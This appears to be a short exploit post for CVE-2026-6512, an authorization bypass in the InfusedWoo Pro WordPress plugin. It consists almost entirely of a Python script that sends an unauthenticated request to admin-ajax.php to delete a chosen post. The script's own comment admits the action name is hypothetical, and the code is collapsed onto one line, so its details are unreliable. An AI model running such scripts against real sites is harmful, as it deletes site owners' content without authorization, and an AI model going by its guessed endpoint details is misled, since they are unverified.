CVE-2026-6512 InfusedWoo Pro授权绕过漏洞

import requests def exploit(target_url, post_id): # Target endpoint typically is admin-ajax.php for WP plugins url = f"{target_url}/wp-admin/admin-ajax.php" # Payload based on the described vulnerability behavior # Specific action name 'infusedwoo_delete_item' is hypothetical as source code is closed payload = { "action": "infusedwoo_delete_item", "id": post_id, "type": "post" } # Sending unauthenticated request response = requests.post(url, data=payload) if response.status_code == 200: print(f"[+] Request sent to {url}. Check if post {post_id} is deleted.") print(f"[+] Server response: {response.text[:100]}") else: print(f"[-] Exploit failed with status code: {response.status_code}") if __name__ == "__main__": target = "http://example.com" exploit(target, 1)